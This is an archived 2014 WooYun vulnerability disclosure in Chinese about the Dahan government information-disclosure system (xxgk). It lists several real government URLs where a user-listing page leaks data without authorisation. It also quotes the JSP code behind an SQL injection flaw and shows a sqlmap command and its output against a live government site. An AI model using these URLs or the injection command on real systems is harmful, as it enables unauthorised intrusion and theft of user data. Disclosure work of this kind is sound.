乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-18: 细节已通知厂商并且等待厂商处理中 2014-05-19: 厂商已经确认,细节仅向厂商公开 2014-05-22: 细节向第三方安全合作伙伴开放 2014-07-13: 细节向核心白帽子及相关领域专家公开 2014-07-23: 细节向普通白帽子公开 2014-08-02: 细节向实习白帽子公开 2014-08-16: 细节向公众公开
大汉版通系统越权导致严重的信息泄露,可获取到所有的用户等,且存在SQL注入
该系统为:大汉信息公开系统(xxgk)#1 漏洞文件
/xxgk/m_5_1/govdiropen/que_chooseusers.jsp
随机在互联网上选择几个案例..下面是信息泄露的
http://xxgk.lyg.gov.cn/xxgk/m_5_1/govdiropen/que_chooseusers.jsp
http://xxgk.lucheng.gov.cn//xxgk/m_5_1/govdiropen/que_chooseusers.jsp
http://xxgk.gaomi.gov.cn:82/xxgk/m_5_1/govdiropen/que_chooseusers.jsp
http://xxgk.qingzhou.gov.cn/xxgk/m_5_1/govdiropen/que_chooseusers.jsp
#2 SQL注入漏洞代码如下
<% //当前页数 String currpage = Convert.getParameter(request, "currpage"); currpage = (currpage.equals("")) ? "1" : currpage; // **where条件**// StringBuffer strSqlCondition = new StringBuffer(128);//条件 String que_keywords = Convert.getParameter(request, "que_keywords"); String que_usergroupid = Convert.getParameter(request, "que_usergroupid");//这里接收参数 String que_usergroupname = Convert.getParameter(request, "que_usergroupname"); String que_keywords1 = Convert.getParameter(request, "que_keywords1"); String que_scope = Convert.getParameter(request, "que_scope"); que_keywords = (que_keywords1.length() > 0) ? que_keywords1 : que_keywords;//高级检索的关键字优先 strSqlCondition.append(" a.c_id !='00000' AND vc_usertype='0' "); //admin用户不出来 if(que_keywords.length()>0){ if(que_scope.length()>0){ if(que_scope.equals("vc_username")){ strSqlCondition.append(" AND vc_username like '%"+que_keywords+"%' "); } if(que_scope.equals("vc_loginid")){ strSqlCondition.append(" AND vc_loginid like '%"+que_keywords+"%' "); } }else { strSqlCondition.append(" AND (vc_username like '%"+que_keywords+ "%' OR vc_loginid like '%"+que_keywords+"%' )"); } } if(que_usergroupid.length()>0){ strSqlCondition.append(" AND vc_usergroupid = '"+que_usergroupid+"' ");//带入了SQL查询 }}
参数均没有过滤,直接进入了SQL语句,造成了SQL注入#3 SQL测试随便选取一个连接进行测试
http://xxgk.weifang.gov.cn//xxgk/m_5_1/govdiropen/que_chooseusers.jsp?que_usergroupid=11
#数据
C:\>sqlmap.py -u "http://xxgk.weifang.gov.cn//xxgk/m_5_1/govdiropen/que_chooseusers.jsp?que_usergroupid=11" --current-dbweb application technology: JSPback-end DBMS: Microsoft SQL Server 2000[14:39:40] [INFO] fetching current database[14:39:40] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..[14:39:48] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries[14:39:58] [INFO] due to good response times you can try to adjust the time-delay to a more appropriate value (e.g. --time-sec=1)[14:41:29] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the requestkcurrent database: 'xxgk'
你们懂
危害等级:高
漏洞Rank:20
确认时间:2014-05-19 09:59
感谢关注!
暂无